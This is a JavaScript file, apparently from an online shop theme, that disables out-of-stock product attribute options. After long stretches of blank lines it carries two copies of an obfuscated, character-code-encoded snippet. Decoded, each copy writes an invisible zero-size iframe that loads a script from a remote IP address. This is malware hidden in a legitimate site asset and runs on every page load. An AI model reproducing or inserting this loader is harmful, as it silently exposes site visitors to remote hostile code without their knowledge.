$(document).ready(function()
{	
  hideUnavailable();
});

function hideUnavailable()
{
	if (typeof allowBuyWhenOutOfStock == 'undefined' || allowBuyWhenOutOfStock)
		return;
	var choice = new Array();
	var group_names = new Array();
	
	$('div#attributes select').each(function()
	{
		choice.push($(this).val());
		group_names.push($(this).attr('id'));
	});

	$.each(group_names, function(i, group_name)
	{
		$('#'+group_name+' option').each(function()
		{
			var group_option = $(this).val();
			var tmp_choice = new Array();
			$.each(choice, function(key, value)
			{
				if (key == i)
					tmp_choice.push(group_option);
				else
					tmp_choice.push(value);
			});
			var nbAttributesEquals = 0;
			var valid = false;
      
			for (combination in combinations)
			{
				nbAttributesEquals = 0;
				for (idAttribute in combinations[combination]['idsAttributes'])
				{
					if (idAttribute != 'indexOf')
					{
						if (in_array(combinations[combination]['idsAttributes'][idAttribute], tmp_choice))
							nbAttributesEquals++;
					}
				}
				if (nbAttributesEquals == tmp_choice.length)
				{
					valid = true;
					if (typeof allowBuyWhenOutOfStock != 'undefined' && !allowBuyWhenOutOfStock && combinations[combination]['quantity'] < 1)
						valid = false;
				}
			}
			if (!valid)
			{
				$('#'+group_name+' option[value='+group_option+']').attr('disabled', 'true');
				$('#color_'+group_option).hide();
			}
			else
			{
				$('#'+group_name+' option[value='+group_option+']').removeAttr('disabled');
				$('#color_'+group_option).show();
			}
		});
	});
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

